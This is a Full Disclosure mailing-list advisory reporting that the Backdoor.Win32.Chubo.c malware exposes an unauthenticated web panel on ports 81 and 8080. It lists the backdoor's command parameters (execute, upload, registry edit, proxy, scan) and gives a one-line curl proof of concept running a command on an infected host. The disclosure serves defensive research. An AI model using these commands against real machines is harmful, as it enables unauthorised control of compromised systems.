full-disclosure - [FD] Backdoor.Win32.Chubo.c / Unauthenticated Remote Command Execution

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Date: Sat, 26 Mar 2022 21:33:40 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Chubo.c / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/c16b04a9879896ef453a6deb13528087.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Chubo.c
Vulnerability: Unauthenticated Remote Command Execution
Family: Chubo
Type: PE32
MD5: c16b04a9879896ef453a6deb13528087
Vuln ID: MVID-2022-0527
Disclosure: 03/26/2022
Description: The malware listens on TCP port 81 and 8080. There is a HTML
web-panel that exposes the entire system and creates HTML links to run
commands made available by the backdoor.

Commands:

F="./?DRV=">LIST DRIVE</A></TD>
    <TD><A HREF="./?DIR=">LIST DIRECTRY</A></TD>
    <TD><A HREF="./?MF_=">MANAGE FILE</A></TD>
    <TD><A HREF="./?UPL=">UPLOAD FILE</A></TD> </TR>
<TR><TD><A HREF="./?EXE=">EXECUTE COMMAND</A></TD>
    <TD><A HREF="./?REG=">EDIT REGISTORY</A></TD>
    <TD><A HREF="./?SYS=">GET SYSTEM INFO</A></TD>
    <TD><A HREF="./?TGT=">SET PROXY TARGET</A></TD> </TR>
<TR><TD><A HREF="./?SSS=">START SCREEN SAVER</A></TD>
    <TD><A HREF="./?SND=">PLAY SOUND</A></TD>
    <TD><A HREF="./?BRW=">BROWSE URL</A></TD>
    <TD><A HREF="./?SCAN=">SCAN IP</A></TD>

Exploit/PoC:
C:\>curl http://x.x.x.x:81/?EXE=calc

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